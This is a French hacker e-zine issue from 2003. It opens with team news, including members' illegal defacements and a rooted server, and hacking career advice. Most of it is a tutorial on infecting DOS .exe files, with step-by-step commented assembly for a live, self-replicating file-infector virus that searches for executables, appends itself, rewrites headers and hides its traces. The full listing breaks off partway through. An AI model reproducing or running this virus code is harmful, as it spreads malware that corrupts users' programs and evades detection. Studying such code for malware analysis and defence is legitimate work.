DHS - Dealer Hack Security

*************************************************************
\\\\\\\\\\\\\\\\\\\\\\\\ooooooooo:::::DHS - TDC Mag' N°2:::::ooooooooo//////////////////////

Ecrit le 02/05/2003

// NUMERO SPECIAL // notre site : http://dealerhacksecurity.free.fr

EDITÔT :

  Ce numéro est spécial. Il n'a failli ne jamais sortir et TDC Mag n°1 a manqué de justesse de devenir l'unique opus du e-zine le plus court au monde (et le plus nul...). Ce deuxième opus est donc spécial.
Il marque le début d'une nouvelle ère pour notre Team, qui se trouve totalement modifié. L'édito est réduit, mais l'introduction très longue. Mais ne vous inquiétez, pas, ce numéro est très long. Il a été travaillé et retravaillé maints et maints fois, et possède des articles de divers participants.
Avant tout, merci d'être là, de nous lire. Le premier numéro a été un succès et, a été télécharger près de 300 fois... Afin de mieux répondre à vos attentes, nous avons monter la section DEFI, permettant d'apprendre de manière ludique. En outre, nous nous acharnons à mettre en place une solide database afin de rendre ce site attrayante, utile et qui puisse servir la communauté underground entière.
En attendant, lisez vite l'introduction de ce mag et toute la suite. Plus d'inquiétude, notre Team DHS ne disparaîtra pas de sitôt. J'espère que ce numéro vous apprendra des choses d'utiles.
Des événements ont ébranlé notre Team, et d'autres sont attendus pour cette année. C'est un dur passage pour notre Team. En tout cas, nous sommes toujours là et serons là le plus tard possible. Notre volonté est incassable. L'essentiel est que nous bâtissons tous ensemble un lieu de connaissances solide et édifiantes pour tout le monde afin de contribuer à la sécurité de notre chère Toile. N'oubliez pas : le TDC est peut être temporairement dissoute, mais nous on sera toujours là ;)

Nous n'avons pas oublié le projet de créer une mailing-list, ainsi que de passer sur un serveur dédié (ce qui sera fait d'ici quelques semaines). Mais, même si le TDC est mort, les magazines resteront toujours les TDC Mag, en souvenir de notre ex-Team. 


              Have fun with yours Magazine,

                                                          DHS Team - Dealer-Hack Security Team

*
*************************Contacts**************************
Fondateur / Webmaster  : A-bone => alex.bone@caramail.com
Réalisateur / Concepteur  : Nocte => slickers@caramail.com
Co-Admin du site  : deepfear => cyberwolf4@caramail.com
***********************************************************

PARTICIPATION / COLLABORATION
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- Si vous avez envie de participer à notre magazine, contacter Nocte
- Si vous avez envie de faire partie de notre Team, contactez Nocte & A-bone.
- Si vous avez envie de participer aux Défis et/ou site, contactez deepfear.

 

/////////////////////////////////////////////////////////////////////////////////////////////////
SOMMAIRE
/////////////////////////////////////////////////////////////////////////////////////////////////

1. INTRODUCTION : NEWS... - DHS Team
2. SECURITE : CRYPTOLOGIE / CHIFFREMENT - Nocte
3. VIRUS : INFECTION DE FICHIER EXE - Nocte
4. HACKING :  LES SHELLCODES / OBTENTION DES DROITS DE ROOT- Nocte
5. FAILLE part 1: PRINCIPES DES STACKS OVERFLOWS  - Nocte
6. FAILLE part 2: ADVISORY "CSS VULNARABILITIES ON MILITARY SITES" - Nocte
7. OUTRO


/////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////

=====================================================================
1. INTRODUCTION
=====================================================================

Suite à de gros problèmes de notre Team, se numéro se trouve très réduit. Explication immédiates.

Parlons du site. Vous retrouverez des news toutes fraîches sur notre forum, et les plus chaudes sur la page d'accueil du site du forum http://dealerhacksecurity.free.fr, remis à jour quotidiennement. Après le crash du forum celui-ci est très bien reparti, grâce à vous ;) Merci !

Cette introduction va être particulièrement longue. Comme TDC Mag n°1 date de février, nous allons récpituler tous les événement qui se sont produit depuis la mise en ligne du site, le 29 janvier 2003. 
Quelque jour après la mise en ligne du TDC Mag n°1, le forum a été réinstallé le 11 février en repartant complètement à zéro, le 11 février, car son ancienne structure ne convenait à notre objectif (trop ressemblant à notre forum du DH). A-bone, le webmaster, a donc réinstallé une autre version du phpbb du forum, suite à un torp grand nombre de bug persistant notée sur la dernière verison du forum phpbb. Dans le même temps, Nocte a conçu la section Défi où, chaque semaine, est proposée un problème sous forme de défi, avec une orientation sécurité, cela afin d'améliorer ses connaissances personnelles.
Malheureusement, notre ex-site officiel, http://dealerhack-ifrance.com, a été kiké pendant près d'une semaine. Finalement, après nos demande insistantes d'explications, ifrance a finalement réouvert le compte avec, pour toute explication, le fait que certains serveurs de ifrance avait subi des problèmes technique (sic!).
L'un des coups le plus dur se produisit le vendredi 21 février, quand notre forum DHS Online fut victime d'une attaque du style [CENSURE]alert:bidon[/CENSURE]. Le forum était alors à son apogée est avait eu une croissance de visiteurs phénoménales en quelques jours (80 nouveaux inscrit en 10 jours). Cette attaque a crashé le serveur. Une seconde attaque par SQL injection a provoqué une défaillance dans la page phpmyadmin ce qui aura pour but de détruire la base de donnée du forum, base déjà bien avancée (85 membres et plus de 300 messages en 10 jours pile). Pendant 3 heures, de 22 heures à minuit, la totalité de la base de données du forum était accessible par n'importe qui sur le Net, avec une simple url...
Sans se démonter du tout, le lendemain, A-bone reprend la construction du forum.

Nous allions sortir TDC Mag n°2 quand un incident à totalement bouleversé l'avenir de notre Team. A-bone, enfreignant les règles du DHS, a effectué des defacage sur des sites perso du FAI de Free. Oubliant de supprimer les logs, il s'est fait remonté et, quelques jours plus tard, les forces de l'ordre débarquent chez lui accompagné d'agent du FAI. Fort heureusement pour lui, ses proches ont calmé les calmé les choses... il a frôlé la prison... Par cet acte irrespectueux envers notre éthique et immoral, A-bone est éjecté de la Team. Le jour suivant, Stigmata roote un box et frôle lui aussi la catastrophe : il détruit les logs au moment même ou l'admin, en même temps sur le réseau, les consulte. Par chance, Stigmata éjecte l'admin et s'en sort d'extrême justesse. C'est le coup d'épée final : notre Team, le TDC, est dissoute et tous les membres l'abandonne immédiatement. Stigmata quitte la scène. Nocte récupère le site, et fonde, avec A-bone, la DHS Team : Dealer Hack Security Team, mais A-bone n'en est plus l'admin. Il quitte la scène en se promettant de revenir : à l'heure actuelle, il n'est toujours pas là.

   Le site http://dealerhacksecurity.free.fr est appelé à devenir très connu, voire une référence, en matière de sécurité.  A partir de là, la DHS remonte lentement la pente. Une équipe solide de modérateurs compétents se forment. Passé un moment, Daniel San, deviendra admin de la DHS Team. Cependant, au bout de quelques jours, il l'abandonnera, afin de créer sa propre Team... souhaitons lui bonne chance ;)
   L'équipe trouvent des failles intéressantes, le site est actualisé chaque jour, de news exclusives et inédites (contacts spécialisés...). Dans cette optique, Nocte lance une recherche d'affiliation et de partenariat. Ainsi, des sites très connus comme : Echu.org, Doxi-security.com, Secusys.com et d'autres sont partenaires de notre sites. La liste complète est disponible sur le forum de notre site. En outre, DHS est entretenu et mis à jours très régulièrement, rajoutant une grande valeur au site. Nocte est, à l'heure actuelle, sur un projet d'association en collaboration avec Emmanuel JUD, administrateur de secuser.com... mais vous aurez toutes les explications dans le prochain TDC Mag ;)
 
   Plusieurs projets se profilent à l'horizon de la DHS Team, afin de la rendre plus célèbre est d'augmenter sa réputation. Nocte a publié, récemment (le 4 avril 2003), un advisory sur des failles CSS sur les sites militaires américains (cf. http://www.security-corporation.com). Cet advisory a été repris par echu.org, et tout cela a contribué a faire connaître notre site.


Pour cette introduction traitant du bouleversement de notre Team, nous avons tenu à retranscrire un conseil que nous a laissé un vieil ami et qui devrait résumé votre état d'esprit dès que vos lirez ces lignes (les fautes sont d'origines :p) :
"
Bien, avant tout il faut savoir qu'il est très difficile, meme après avoir pratiqué le hacking durant un certain temps, de tout savoir sur tout. Il existe tellement de spécificité... 
Ca ne veux pas dire qu'il ne faut pas s'interresse a tous les domaines, car cela forme un tout, mais il vaux serait sans doute bon que tu travaille dans un team, ou vous soyez complémentaire, ou chacun se spécialisent dans des domaines particuliers. Cela vous permettra d'une part de pouvoir ensemble être capable de pouvoir être capable de travailler sur pas mal de domaine, et surtout d'autre part, une fois que l'un d'entre vous s'est vraiment bien impliqué sur un sujet, de faire partager ses connaissances aux autres membres de la team: Au final, c'est chacun qui pourra progresser réellement plus vite dans tous les domaines. Pour te donner un exemple, dans ma team pour l'instant nous sommes trois, moi spécialisé dans les failles applicatives, le réseau... Le deuxième surtout orienté vulnérabilités web, windows et wardriving, et enfin le dernier qui fais surtout du bas niveau kernel linux & windows, lkm, shellcodes... 

Il y a cependant des bases élémentaires à connaitre. Tout le monde dit qu'il faut utiliser linux ... En fait ce qu'il faut comprendre, c'est que je considère un peu le hack comme un art, mais pour le pratiquer, il faut connaitre le support. Tu t'appercevras rapidement, surtout sous nux par exemple qu'il y a des failles qui tombent à longueur de temps, mais souvent sur des appli que tu ne connais pas, qui utilisent certains fichiers de configuration standard ... Tout ca tu dois le maitriser. Bref, tu te doit de maitrîser a fond le plus d'OS possible (windows, linux et UNIX), et quand je dis maîtrise, c'est connaitre sur le bout des doigts le fonctionnement, le kernel, comment il gère la stack, comment on joue avec la base de registre sous win, comment on utilise le shell... Je connais quelques hackeurs, qui ont un très bon niveaux, et qui pourtant seraient incappable de se faire une quelquonques box windows, simplement parce que celui ci ne les interresse pas, donc il ne le maitrise pas... 
Il est aussi essentiel de savoir programmer, déjà en C. Pourquoi le C, d'abord parce que c'est un language puissant, avec lequel tu peux directemet intervenir sur la stack, 
le kernel... Et aussi parceque plus de la moitié des programmes sont écrits dans ce language, ou en C++, mais si tu connais le C, tu comprendra le C++. Il faudra tot ou tard passer par l'assembleur, qui est differant sur chaque plateforme, mais ce n'est pas la premiere urgence. Enfin, plus tu connaitra de language plus tu pourra auditer de code, mais pour ca ne t'en fait pas. Meme moi qui ne me considere pas encore comme une 31337 j'apprend un language en deux jours. 
Bref, comprend simplement que pour s'attaquer a quelquechose (je parle autant d'un systeme, que de l'audit d'un code), il faut comprendre son fonctionnement, son code ... 
Ou aprendre? Franchement un unique endroit : le web. Les livres sont très bien pour apprendre à maitriser un OS, un language de prog... Mais quand on parle de hack, le net et c'est tout. Le site de ouah, c'est sur celui là qu'il existe le plus de doc dignes de ce nom 
Madchat, qui possède quand même une bonne database securiteam.org 
Enfin, il faut que ca devinne une habitude, chaque fois que tu vois ou entend parler d'une nouvelle technique, tu vas sur google, tu la recherche, et tu te tapes toutes les papiers 
qui ont été écrits sur le sujet, jusqu'à ce que tu est compris(si tu a le niveau a ce moment la bien sur). Ensuite, tu garde les docs qui te semblent les meilleurs, et tu les 
colles dans ta database perso, que tu partage avec les autres membres de ta team, comme ca ils n'auront pas à se retaper toute le recherche. (Bien sur ils doivent faire pareil). 
Dernière chose, les listes de diffusion, c'est surement là que j'ai appris le plus de chose. Il ne faut pas juste y voir une diffusion d'exploit. C'est surtout là que sont énumérés les nouvelles techniques... qui donnent un point de départ au recherche sur le web. 
Ah oui dernier point sur la team, les affinités entre membres sont importants bien sur, mais si un gars est un boulet, tu le laches direct. C'est bien d'avoir un pote, mais 
si tu veux vraiment être bon dans ce domaine, reste avec des gens qui ont du potentiel, pas avec des gars qui ne chercheront pas à toujours approndir leurs connaissances, ce genre de gars vont vous ralentir. Bref, s'ils ne bossent pas assez, ou qu'il est décidément trop con pour un jour apprendre quelque chose, sans pitié. 
(c'est dur, mais c'est la scène qui est comme ca, qui tu veux t'y inteégrer tu l'accepte ou c'est toi qui te fera jeter). 
Bon j'espère que ca te sera utile pour le futur. 
"

Voilà pour la leçon de morale. Sur ce, pardonnez-nous pour le retard, continuez à en apprendre davantage. Nous allons refondre le site afin de former une solide database de docs... une fois, bien sûr, que notre Team, se sera reconsolidée. En attendant, bonne lecture ;)



====================================================================
2 . SECURITE : CRYPTOLOGIE / CHIFFREMENT - Nocte

=====================================================================

 

=====================================================================
3 .
VIRUS : INFECTION DE FICHIER EXE - Nocte
=====================================================================

En toute logique, j'aurais du écrire un article sur les infecteurs de fichiers COM avant (car les fichiers EXE ont une structure beaucoup plus complexe). Or, par un problème indépendant de ma volonté, certains informations ne me sont pas parvenues. Par conséquent, cet article étant achevé, le voici ;)
Le format exe, qui est la référence de l'éxécutable sous des système de type windows, beaucoup plus volumieux, doté d'une structure alors plus complexe, lui assure ainsi une plate-forme sûre d'expansion. L'arrivée des macros-virus a fait naitre une incompréhension totale de la manière d'infecter un .exe, en effet, ceux-ci, s'ils ne suppriment pas barabarement les éxécutables, remplace la totalité du code de ces derniers et les renomment en .vbs, ce qui n'a rien d'un procédé d'expansion virale en soit. L'injection d'un virus à travers un .exe se présente comme l'infection la plus difficile à mettre en oeuvre en raison de l'header située en tête de ce type de fichier.



I. Description :
--------------------

Contrairement à l'infection d'un .com, nous n'allons pas overwritter certaines données du .exe, juste modifier provisoirement certaines informations de l'header en début de fichier et modifier le tableau de réadressage. Cet en-tête est vital au fichier, altéré, il corromperait le fichier ! Il contient tout une série de paramètres nécéssaires à la 
bonne lecture de l'exécutable par le DOS : ou placer la pile, ou l'exécution commence-t'elle, la taille du fichier... Pour comprendre ceci, il est indispensable de savoir que tout .exe est organisé en segments, ainsi le code de l'éxécutable peut commencer et finir n'importe ou. Les EXE ont une entête au format PE. Voici sa description technique.


[ PE Header ]

+----------------------------------------------------------------------------------------+
|OFFSET| NOM |TAILLE| DESCRIPTION |
+----------------------------------------------------------------------------------------+
|00 | Signature |2bytes| MZ - 4DH 5AH |
+----------------------------------------------------------------------------------------+ 
|02 | Taille dernière page |word | Taille en bytes de la dernière page (512 bytes) |
+----------------------------------------------------------------------------------------+
|04 | Nombre pages fichier |word | Nombre total de pages de 512 bytes |
+----------------------------------------------------------------------------------------+
|06 | Relocation items |word | Nombre d'entrées dans la table de relocations |
+----------------------------------------------------------------------------------------+
|08 | Paragraphes en-tête |word | Taille de l'header en paragraphes (16 bytes) |
+----------------------------------------------------------------------------------------+
|0A | Allocation minimale |word | Mémoire minimum requise en paragraphes |
+----------------------------------------------------------------------------------------+
|0C | Allocation maximale |word | Mémoire maximum requise en paragraphes |
+----------------------------------------------------------------------------------------+
|0E | Prerelocation SS |word | Offset segment de pile en paragraphes |
+----------------------------------------------------------------------------------------+
|10 | Stack pointer initial |word | Première valeur du pointeur de la pile |
+----------------------------------------------------------------------------------------+
|12 | Negative checksum |word | Nous y placerons notre marqueur d'infection |
+----------------------------------------------------------------------------------------+
|14 | Prerelocation IP |word | Adresse de début d'éxécution (IP) |
+----------------------------------------------------------------------------------------+
|16 | Prerelocation CS |word | Code Segment (segment de début d'éxécution) |
+----------------------------------------------------------------------------------------+
|18 | offset table reloc. |word | Offset table des relocations |
+----------------------------------------------------------------------------------------+
|1A | Overlay number |word | overlay |
+----------------------------------------------------------------------------------------+
|1C | Réservé |dword | / |
+----------------------------------------------------------------------------------------+ 


Lorsque nous infections un .com, nous nous contentions de rajouter un jmp au début du fichier prenant en argument l'offset de notre virus situé à la fin du fichier. Nous overwrittions donc les premiers bytes du fichier. Ici, nous allons modifier certains champs de l'header de façon à éxécuter notre code situé dans un module chargée en mémoire (le dernier segment de l'exe), puis redonner la main au fichier hôte en remodifiant l'header. Pour cela nous aurons besoin de 5 champs. Les deux premiers nous renseigne sur la taille de la dernière page (offset 02h) et le nombre total de pages (offset 04h), donc la taille du fichier en pages de 512 de bytes. Nous modifierons aussi l'offset 0Eh contenant le déplacement en paragraphes relatif à la fin de l'header à effectuer pour atteindre le stack segment, et l'offset 10h contenant le déplacement à effectuer relativement au début de SS pour atteindre SP. Ainsi que l'offset 16h, contenant le déplacement en paragraphes relativement à la fin de l'header qu'il faut effectuer pour se rendre à l'entry point (fonction main), située sur le segment de code, première fonction a être éxécutée, nous y placerons l'offset de notre virus. Et enfin l'offset 14h, contenant l'adresse du point d'entrée (fonction main) sur CS.


[ PSP ]

Il faut savoir qu'après l'header de l'exécutable se trouve la table de relocation qui n'est utilisé qu'avec des fichiers dont la taille est supérieur à 64k. La table de relocation contient une liste pointeurs pointant chacun sur une adresse du programme devant être reajustées en fonction du segment dans lequel le DOS a initialisé le programme. Pour obtenir l'adresse décalée, le DOS commence par charger l'adresse située dans la table et y ajoute le segment du programme. Quand DOS lance un .exe, il charge le segment PSP dans un segment mémoire. il crée une petite structure de données de 256 octets, nommée PSP (Program Segment Prefix). Le PSP qui est un vestige des premières versions DOS et de CP/M contient des informations spécifiques à l'environnement du programme. Le PSP est créée lors de l'éxécution du programme, et ne nécéssite ainsi aucune place sur la mémoire morte du dur. Le PSP chargé, il ajoute la valeur 10h à CS et laisse ES et DS pointer sur le segment PSP. Le code initial du programme commence alors à cs:0000 ou le segment PSP est définie à CS-10h:0000 (voir schéma).



Structure .com Structure .exe

+-------------+ +-------------+ 
| | | | 
| | | | 
+-------------+ CS:FFFFh | +-------------+ 
| | | 64k | | | 
| | PILE | max | | PILE | 
64k| | | | | | 
max| +-------------+ |_ +-------------+ SS:0000h 
| | | | | | 
| | DONNEES | 64k | | DONNEES | 
| | | max | | | 
| +-------------+ |_ +-------------+ DS:0000h 
| | | | | | 
| | | 64k | | | 
| | CODE | max | | CODE | 
| | | | | | 
| | | | | | 
| | | | | | 
DS=SS=0000h |_ +-------------+ CS:0000h |_ +-------------+ CS:0000h
| PSP | | PSP | 
<-------------< DS=SS=0000h <-------------< CS-10h:0000
| | | | 
| | | | 
+-------------+ 0000:0000 +-------------+ 0000:0000 


Ceci ne sera pris en compte lors de l'infection de l'exe, mais il peut être toujours intéréssant de le savoir. Lorsqu'un programme est chargé, DOS alloue en mémoire une autre autre structure de données appelée le bloc d'environnement. Ce bloc contient la liste de toutes les variables d'environnement (qui sont généralement déclarées dans le fichier AUTOEXEC.BAT, servant à définir le contexte dans lequel l'éxécution du programme a lieu) au format VARIABLE=VALEUR\0. 
A la fin de cette liste se trouve un byte à 0, suivi d'un mot (généralement 0001h) et finalement du nom complet de l'exécutable terminé par un \0 (byte 00h). Ce bloc d'environnement est toujours calé sur le début d'un segment, et on peut trouver l'adresse de ce segment à l'offset 02Ch du PSP. Lorsque le programme est terminé, ce bloc d'environement est détruit (i.e. déalloué).


[ Processus d'infection ]

Etudions dés à présent le fonctionnement général et théorique de notre infection. Vous savez qu'il differera de celle d'un .com, en raison de la structure interne de notre .exe. Tout d'abord nours allons vérifier qu'il s'agit bien d'un fichier .exe en vérifiant sa signature située à l'offset 00 de l'header qui doit correspondre à 'MZ'(ou 'ZM'). L'étape 
suivante consistera à déterminer si ce même fichier a déjà été infecté par vérification de l'offset 12 (Negative checksum) qui n'est généralement pas utilisé et donc parfait pour insérer une marque d'infection (un charactère quelconque). Notez que nous aurions aussi pu stocker ce marqueur dans SP. Ensuite il va nous falloir garder en mémoire les adresses des 
principaux registres de l'header tels que CS, SS, SP, IP. Puis nous injecterons le code virale à la fin du fichier hôte et nous définirions une adresse pour le pointeur de pile sur le segment de pile (SS:SP), une adresse fiable assure une infection réussie, dans le cas contraire, un pseudo buffer overflow planterait le programme et le virus ne pourrait 
se répandre en dehors du launcher (tous les programmes hôtes serait corrompus et ne pourraient donc fonctionner). Nous recalculerons la taille du fichier en pages et en bytes que nous devrons placer respectivement à l'offset 04 et 02 de l'header. Et enfin, nous n'aurons plus qu'à rendre la main au programme hôte en replaçant la pile à sa valeur 
initiale, le pointeur d'instruction sur CS pointant au début du fichier. Notez que nous devons reajuster SS et CS en leur ajoutant ES+10 (ES et DS pointent tous deux sur PSP). L'ultime étape consiste à masquer toute trace d'infection en restorant les attributs de fichier et la dernière date (et heure) de modification du fichier pour éviter de pouvoir tracer le virus. 



II. Programmation :
-----------------------------


Après toute cette théorie vous devez être capable de coder un launcher facilement. Nous allons étudier successivement toutes les routines d'infection assembleur. Rien de bien compliqué je vous rassure. Le code a été obtenue par modification de mon virus zex, les routines de début sont donc identiques et la structure du programme s'est vue compliqué par 
l'infection du format exe. Ce virus est actif, de ce fait essayer de l'isoler sur votre machine. Tout d'abord, il nous faut calculer le décalage relatif à la fin du fichier hôte infecté, pour ensuite pouvoir manipuler variables et label à partir du fichier infecté. 


Virus:
push ds ;empile ds 
push cs cs ;empile cs 
pop es ds ;es = ds = cs 
call debut 

debut: 
pop bp ;on récupere ds
sub bp,offset debut ;on y soustrait l'offset du label 
;debut: pour obtenir le début du virus




Maintenant nous devons déclarer une nouvelle table DTA (cela sera expliqué dans l'article des infecteurs COM) puis mettre à 0 l'IP, pour le faire pointer ensuite sur notre code virale situé à la fin du virus. A la fin de la routine défaut nous lancerons la recherche d'exe à infecter.

MDTA:
lea dx,[bp+DTA] ;dx <- [bp+DTA] 
mov ah,1a ;définir nouvelle table DTA 
int 21 

Defaut: 
lea di,[bp+New_IP] ;di <- [bp+New_IP] (destination) 
lea si,[bp+Def_IP] ;si <- [bp+Def_IP] (source)
mov cx,4 ;cx <- 4
rep movsw ;di[4] <- si[4] 
mov ah,4e ;ax <- 4eh (code de recherche)
xor cx,cx ;cx <- 0 
lea dx,[bp+exesig] ;dx <- [bp+exesig] (fichier que nous recherchons, ici '*.exe')


Nos arguments de recherches placés dans les différents registres, nous n'avons plus qu'à lancer la boucle de recherche principale. C'est la fonction principale de notre virus, après avoir trouver un fichier en .exe, elle commence par le lire dans sa totalité en stockant son contenu dans un buffer: header_exe, ensuite elle se contente de vérifier le format 
du fichier par lecture à l'offset 00 de la chaine 'ZM' et la pureté de ce dernier par lecture de l'offset 12. Si le fichier est bien un .exe pure (i.e si l'offset 12 de l'header ne contient pas la chaine 'X'), alors elle appelle la routine SHEADER qui effectue une sauvegarde de l'header, puis les deux routines CSIP et SIZE qui, respectivement, modifie différents offsets de l'header et calcule la nouvelle taille de l'exe (concaténer avec le virus). Et enfin copie le virus à la fin du fichier et l'header modifié au début de celui-ci.


Loop_cherche:
int 21 ;lance la recherche
jc End_loop ;erreur? recherche terminée? on quitte
mov ax,3d02 ;ax <- 3d02h
lea dx,[bp+DTA+1e] ;dx <- [bp+DTA+1e] (offset 1eh table DTA = nom du fichier) 
int 21 ;on ouvre le fichier en lecture/écriture 
mov bx,ax ;bx <- handle du fichier 
mov ah,3f ;ah <- 3fh
mov cx,1a ;cx <- 1ah (taille du fichier)
lea dx,[bp+header_exe] ;dx <- [bp+header_exe] 
int 21 ;on stocke le contenu du fichier dans le buffer header_exe
cmp word ptr [bp+header_exe],'ZM' ;fichier exe?
jne close_file ;non on ferme le fichier 
cmp byte ptr [bp+header_exe+12],'X' ;fichier déjà infecté?
je close_file ;oui on ferme le fichier 
call __SHEADER ;on appelle la routine SHEADER
mov ax,4202 ;on se déplace au début du fichier 
xor cx,cx 
xor dx,dx 
int 21 
push ax dx ;empilement de ax et dx
call __CSIP ;appel de la routine CSIP 
pop dx ax ;dx <- dx, ax <- ax (taille du fichier non infecté) 
call __SIZE ;appel de la routine SIZE 
mov ah,40 ;ax <- 40h 
mov cx,Fin-Virus ;cx <- offset Fin - offset virus (taille du virus) 
lea dx,[bp+Virus] ;dx <- [bp+Virus] 
int 21 ;on écrit le virus à la fin du fichier
mov ax,4200 ;déplacement au début du fichier 
xor cx,cx 
xor dx,dx
int 21
mov ah,40 
mov cx,1a 
lea dx,[bp+header_exe]
int 21 ;écriture de l'header modifié



L'infection du fichier exe actuellement ouvert terminée, il nous faut le refermet et continuer la recherche. En cas d'erreur, ou de fin de recherche, on saute directement au label End_loop, qui restore la table DTA d'origine.


Close_File: 
mov ah,3e ;ah <- 3eh (bx <- handle)
int 21 ;fermeture du fichier

Continue: 
mov ah,4f ;ah <- 4fh
jmp Loop_cherche ;continuer recherche

End_loop: 
pop ds ;adresse du segment PSP
mov dx,80 ;dx <- 80
mov ah,1a ;ah <- 1ah
int 21 ;restoration de la table DTA


La recherche terminée, le segment de code doit être remodifié de façon à éxécuter le code original du fichier hôte. Nous effectuons ensuite un far jump 0 New_CS:New_IP (ce qui à pour conséquence de rendre la main au fichier infecté).


Hote_go:
push ds 
pop es ;es <- ds
mov ax,es ;ax <- es
add ax,10 
add word ptr cs:[bp+New_CS],ax ;reajuste l'ancien segment de code (sauvegardé avant infection)
cli 
add ax,word ptr cs:[bp+New_SS] ;reajuste l'ancien segment de pile (sauvegardé avant infection)
mov ss,ax ;ss <- ax 
mov sp,word ptr cs:[bp+New_SP] ;on restore le pointeur de pile original
sti

db 0ea ;far jmp New_CS:New_IP
New_CS dw 0
New_IP dw 0
New_SP dw 0
New_SS dw 0


Def_CS dw 0fff0 
Def_IP dw 0 
Def_SP dw 0 
Def_SS dw 0fff0 


Bon à présent étudions les différentes routines qui vont nous permettre l'éxécution du virus à l'ouverture du fichier hôte dans de bonnes conditions. Pour commencer la routine CSIP. Celle-ci s'occupe de la modification des différents offsets de l'header du fichier a infecter. Les offsets 0Eh, 10h, 12h, 14h et 16h sont modifiés respectivement avec l'offset du nouveau segment de pile calculé en paragraphes (SS=CS), la valeur 0FFFE (SP), 'X' caractère marqueur de l'infection (placé dans le Negative checksum offset 12h), puis, la nouvelle première instruction à éxécuter (la première de notre virus) et enfin l'adresse de segment CS modifiée. Toutes ces valeurs sont calculées en effectuant différents calculs obtenus par manipulation des mnémoniques arithmétiques (shl,shr) qui effectuent un décalage 
à droite ou à gauche de n octets, ce qui a pour résultat de multiplier la valeur placée dans l'opérande source par une puissance de 2, correspondant au nombre placé dans l'opérande de destination. 


__CSIP:
push ax ;empile (ax <- taille du fichier hôte)
mov ax,word ptr[bp+header_exe+8] ;ax <- taille de l'header
mov cl,4 ;cl <- 4 (2^4=32)
shl ax,cl ;conversion en bytes (ax*32)
mov cx,ax ;cx <- ax
pop ax ;ax <- taille du fichier hôte
sub ax,cx ;ax <- ax - cx
sbb dx,0 
mov cl,0ch ;cx <- 12 
shl dx,cl ;dx <- adresse de segment
mov cl,4 ;cl <- 4
push ax 
shr ax,cl ;ax <- ax/4
add dx,ax ;dx <- dx + ax (nouveau CS)
shl ax,cl ;ax <- ax*4 
pop cx 
sub cx,ax ;cx <- cx - ax (nouveau IP)
mov word ptr [bp+header_exe+0Eh],dx ;[bp+header_exe+0Eh] <- nouveau SS (= CS)
mov word ptr [bp+header_exe+10],0FFFE ;[bp+header_exe+10] <- 0FFFE (SP)
mov byte ptr [bp+header_exe+12],'X' ;[bp+header_exe+12] <- 'X' (marqueur d'infection)
mov word ptr [bp+header_exe+14],cx ;[bp+header_exe+14] <- nouveau IP
mov word ptr [bp+header_exe+16],dx ;[bp+header_exe+16] <- nouveau CS
ret

La routine SIZE calcule la nouvelle taille du fichier hôte infecté (fichier hôte et virus concaténés), en pages et en bytes, puis place à l'offset 04 du PE header le nombre de pages, et à l'offset 02 la taille en byte du fichier hôte infecté. 

__SIZE:
push ax ;empilem (ax <- taille fichier hôte)
add ax,Fin - Virus ;ax <- taille fichier infecté
adc dx,0 
mov cl,7 ;cl <- 7 (2^7=128)
shl dx,cl ;dx <- dx*128
mov cl,9 ;cl <- 9 (2^9=512)
shr ax,cl ;ax <- ax/512
add ax,dx ;ax <- ax + dx
inc ax 
mov word ptr [bp+header_exe+04],ax ;[bp+header_exe+04] <- nombre de pages
pop ax
mov dx,ax
shr ax,cl
shl ax,cl
mov dx,ax
mov word ptr [bp+header_exe+02],dx ;[bp+header_exe+02] <- taille en bytes
ret




Et enfin la routine SHEADER qui effectue une sauvegarde de l'header du fichier hôte non infecté par copie des champs de celui-la allant être modifié (0Eh-SS, 10-SP, 14-IP, 16-CS), dans les buffers respectifs Def_SS, Def_SP, Def_IP, Def_CS.

__SHEADER:
mov ax,word ptr [bp+header_exe+0Eh]
mov word ptr [bp+Def_SS],ax ;[bp+Def_SS] <- [bp+header_exe+0Eh]
mov ax,word ptr [bp+header_exe+10]
mov word ptr [bp+Def_SP],ax ;[bp+Def_SP] <- [bp+header_exe+12]
mov ax,word ptr [bp+header_exe+14]
mov word ptr [bp+Def_IP],ax ;[bp+Def_IP] <- [bp+header_exe+14]
mov ax,word ptr [bp+header_exe+16]
mov word ptr [bp+Def_CS],ax ;[bp+Def_CS] <- [bp+header_exe+16]
ret



III. Code source :
-------------------------

.model tiny
.radix 16 
.code

org 100

Virus:
push ds 
push cs cs 
pop es ds 
call debut 

debut: 
pop bp 
sub bp,offset debut 

MDTA:
lea dx,[bp+DTA] 
mov ah,1a 
int 21 

Defaut: 
lea di,[bp+New_IP] 
lea si,[bp+Def_IP]
mov cx,4
rep movsw 
mov ah,4e
xor cx,cx 
lea dx,[bp+exesig] 

Loop_cherche:
int 21
jc End_loop
mov ax,3d02
lea dx,[bp+DTA+1e] 
int 21 
mov bx,ax 
mov ah,3f
mov cx,1a
lea dx,[bp+header_exe] 
int 21
cmp word ptr [bp+header_exe],'ZM' 
jne close_file 
cmp byte ptr [bp+header_exe+12],'X' 
je close_file 
call __SHEADER
mov ax,4202 
xor cx,cx 
xor dx,dx 
int 21 
push ax dx
call __CSIP 
pop dx ax 
call __SIZE 
mov ah,40 
mov cx,Fin-Virus 
lea dx,[bp+Virus]
int 21
mov ax,4200 
xor cx,cx 
xor dx,dx
int 21
mov ah,40 
mov cx,1a 
lea dx,[bp+header_exe]
int 21

Close_File: 
mov ah,3e
int 21 

Continue: 
mov ah,4f
jmp Loop_cherche

End_loop: 
pop ds 
mov dx,80
mov ah,1a
int 21

Hote_go:
push ds 
pop es
mov ax,es
add ax,10 
add word ptr cs:[bp+New_CS],ax 
cli
add ax,word ptr cs:[bp+New_SS] 
mov ss,ax 
mov sp,word ptr cs:[bp+New_SP] 
sti

db 0ea 
New_CS dw 0
New_IP dw 0
New_SP dw 0
New_SS dw 0


Def_CS dw 0fff0 
Def_IP dw 0 
Def_SP dw 0 
Def_SS dw 0fff0 

__CSIP:
push ax
mov ax,word ptr[bp+header_exe+8]
mov cl,4
shl ax,cl
mov cx,ax
pop ax
sub ax,cx
sbb dx,0
mov cl,0ch
shl dx,cl
mov cl,4
push ax
shr ax,cl
add dx,ax
shl ax,cl
pop cx
sub cx,ax
mov word ptr [bp+header_exe+0Eh],dx
mov word ptr [bp+header_exe+10],0FFFE
mov byte ptr [bp+header_exe+12],'X'
mov word ptr [bp+header_exe+14],cx
mov word ptr [bp+header_exe+16],dx
ret

__SIZE:
push ax
add ax,Fin - Virus
adc dx,0
